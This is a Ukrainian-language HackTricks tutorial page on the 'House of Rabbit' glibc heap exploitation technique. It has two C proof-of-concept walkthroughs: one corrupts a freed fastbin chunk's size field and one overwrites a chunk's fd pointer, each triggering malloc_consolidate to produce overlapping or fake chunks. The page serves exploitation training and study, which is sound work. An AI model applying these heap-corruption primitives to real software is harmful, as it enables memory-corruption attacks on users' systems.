House of Rabbit

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Вимоги

  1. Здатність змінювати вказівник fd швидкого бін або розмір: Це означає, що ви можете змінити вказівник вперед для частини в швидкому біні або її розмір.
  2. Здатність викликати malloc_consolidate: Це можна зробити, або виділивши велику частину, або об'єднавши верхню частину, що змушує купу об'єднувати частини.

Цілі

  1. Створити перекриваючі частини: Щоб одна частина перекривалася з іншою, що дозволяє подальші маніпуляції з купою.
  2. Підробити фальшиві частини: Щоб обманути аллокатор, змусивши його вважати фальшиву частину легітимною під час операцій з купою.

Кроки атаки

POC 1: Змінити розмір частини швидкого біна

Мета: Створити перекриваючу частину, маніпулюючи розміром частини швидкого біна.

  • Крок 1: Виділити частини
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

Ми виділяємо два шматки по 0x40 байт кожен. Ці шматки будуть поміщені в список швидких бінів після звільнення.

  • Крок 2: Звільнити шматки
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Ми звільняємо обидва шматки, додаючи їх до списку fastbin.

  • Крок 3: Змінити Розмір Шматка
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Ми змінюємо метадані розміру chunk1 на 0xa1. Це критично важливий крок, щоб обманути аллокатор під час консолідації.

  • Крок 4: Викликати malloc_consolidate
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Виділення великого блоку викликає функцію malloc_consolidate, об'єднуючи маленькі блоки в швидкому біні. Маніпульований розмір chunk1 призводить до його перекриття з chunk2.

Після консолідації chunk1 перекривається з chunk2, що дозволяє подальшу експлуатацію.

POC 2: Модифікуйте вказівник fd

Мета: Створити фейковий блок, маніпулюючи вказівником fd швидкого біна.

  • Крок 1: Виділити блоки
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Пояснення: Ми виділяємо два шматки, один менший і один більший, щоб налаштувати купу для фейкового шматка.

  • Крок 2: Створити фейковий шматок
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

Ми записуємо підроблену метадані частини в chunk2, щоб змоделювати менші частини.

  • Крок 3: Вивільнити chunk1
cpp
free(chunk1);  // Frees the chunk at 0x602000

Пояснення: Ми звільняємо chunk1, додаючи його до списку fastbin.

  • Крок 4: Змінити fd chunk1
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Пояснення: Ми змінюємо вказівник вперед (fd) chunk1, щоб він вказував на наш фейковий шматок всередині chunk2.

  • Крок 5: Виклик malloc_consolidate
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Виділення великого блоку знову викликає malloc_consolidate, який обробляє фейковий блок.

Фейковий блок стає частиною списку fastbin, що робить його легітимним блоком для подальшої експлуатації.

Резюме

Техніка House of Rabbit полягає в модифікації розміру блоку fast bin для створення перекриваючих блоків або маніпуляції вказівником fd для створення фейкових блоків. Це дозволяє зловмисникам підробляти легітимні блоки в купі, що відкриває можливості для різних форм експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks